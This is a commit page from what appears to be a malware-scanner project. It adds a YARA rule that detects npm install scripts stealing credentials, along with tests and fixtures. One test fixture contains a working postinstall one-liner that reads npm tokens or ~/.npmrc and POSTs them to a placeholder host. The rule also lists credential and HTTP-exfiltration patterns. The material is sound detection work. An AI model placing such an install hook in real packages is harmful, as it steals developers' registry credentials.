Skip to content

Commit b4bc5cb

Browse files
Big-Comfyegibs
andauthored
Detect npm credential exfil in install scripts (#1501)
* Detect npm credential exfil in install scripts Signed-off-by: Nikhil <tad.areas_0y@icloud.com> * Add npm credential exfiltration test fixture Signed-off-by: Nikhil <tad.areas_0y@icloud.com> --------- Signed-off-by: Nikhil <tad.areas_0y@icloud.com> Co-authored-by: Evan Gibler <20933572+egibs@users.noreply.github.com>
1 parent 63320f5 commit b4bc5cb

4 files changed

Lines changed: 105 additions & 0 deletions

File tree

pkg/action/scan_test.go

Lines changed: 63 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -165,6 +165,69 @@ func TestScanRepeatedScansNoResourceExhaustion(t *testing.T) {
165165
}
166166
}
167167

168+
func TestNPMCredentialExfiltrationRule(t *testing.T) {
169+
ctx := context.Background()
170+
171+
rfs := []fs.FS{rules.FS, thirdparty.FS}
172+
yrs, err := CachedRules(ctx, rfs)
173+
if err != nil {
174+
t.Fatalf("rules: %v", err)
175+
}
176+
177+
cfg := malcontent.Config{
178+
Concurrency: runtime.NumCPU(),
179+
IgnoreSelf: false,
180+
IncludeDataFiles: false,
181+
MinFileRisk: 0,
182+
MinRisk: 0,
183+
Rules: yrs,
184+
RuleFS: rfs,
185+
}
186+
187+
tests := []struct {
188+
name string
189+
path string
190+
wantRule bool
191+
}{
192+
{
193+
name: "postinstall credential exfiltration",
194+
path: filepath.Join("testdata", "npm-token-exfil", "package.json"),
195+
wantRule: true,
196+
},
197+
{
198+
name: "release script token reference",
199+
path: filepath.Join("testdata", "npm-token-release", "package.json"),
200+
wantRule: false,
201+
},
202+
}
203+
204+
for _, tt := range tests {
205+
t.Run(tt.name, func(t *testing.T) {
206+
fr, err := scanSinglePath(ctx, cfg, tt.path, rfs, tt.path, "", nil)
207+
if err != nil {
208+
t.Fatalf("scan: %v", err)
209+
}
210+
211+
gotRule := hasRuleName(fr, "npm_install_credential_exfiltration")
212+
if gotRule != tt.wantRule {
213+
t.Fatalf("npm_install_credential_exfiltration match = %t, want %t", gotRule, tt.wantRule)
214+
}
215+
})
216+
}
217+
}
218+
219+
func hasRuleName(fr *malcontent.FileReport, ruleName string) bool {
220+
if fr == nil {
221+
return false
222+
}
223+
for _, b := range fr.Behaviors {
224+
if b.RuleName == ruleName {
225+
return true
226+
}
227+
}
228+
return false
229+
}
230+
168231
func TestExitIfHitOrMiss(t *testing.T) {
169232
t.Parallel()
170233

Lines changed: 8 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,8 @@
1+
{
2+
"name": "npm-token-exfil-test",
3+
"version": "1.0.0",
4+
"description": "test fixture",
5+
"scripts": {
6+
"postinstall": "node -e \"const fs=require('fs');const token=process.env.NPM_TOKEN||process.env.NODE_AUTH_TOKEN||fs.readFileSync(process.env.HOME+'/.npmrc','utf8');fetch('https://example.invalid/collect',{method:'POST',body:token})\""
7+
}
8+
}
Lines changed: 9 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,9 @@
1+
{
2+
"name": "npm-token-release-test",
3+
"version": "1.0.0",
4+
"description": "test fixture",
5+
"homepage": "https://example.com/package",
6+
"scripts": {
7+
"release": "NPM_TOKEN=$NPM_TOKEN node ./scripts/release.js"
8+
}
9+
}

rules/exfil/npm.yara

Lines changed: 25 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -74,3 +74,28 @@ rule npm_recon_commands: high {
7474
condition:
7575
package_scripts and any of them
7676
}
77+
78+
rule npm_install_credential_exfiltration: high {
79+
meta:
80+
description = "npm installer references package-manager credentials and sends data over HTTP"
81+
reference = "https://unit42.paloaltonetworks.com/npm-supply-chain-attack/"
82+
83+
strings:
84+
$install_pre = /"(preinstall|install|postinstall|prepare)":/
85+
86+
$cred_npmrc = ".npmrc"
87+
$cred_auth_token = "_authToken" fullword
88+
$cred_node_auth = "NODE_AUTH_TOKEN" fullword
89+
$cred_npm_token = "NPM_TOKEN" fullword
90+
$cred_gh_token = "GITHUB_TOKEN" fullword
91+
92+
$http_fetch = /fetch\(\s{0,4}[\"']https{0,1}:\/\/[\w][\w\.\/\-_\?=\@]{8,128}/
93+
$http_request = /require\(\s{0,4}[\"']https{0,1}[\"']\)/
94+
$http_curl = /(curl|wget) .{0,128}https{0,1}:\/\/[\w][\w\.\/\-_\?=\@]{8,128}/
95+
$http_url = /https{0,1}:\/\/[\w][\w\.\/\-_\?=\@]{8,128}/
96+
$http_post = "POST" fullword
97+
98+
condition:
99+
package_scripts and $install_pre and any of ($cred*) and
100+
($http_fetch or $http_curl or ($http_request and $http_post) or ($http_url and $http_post))
101+
}

0 commit comments

Comments
 (0)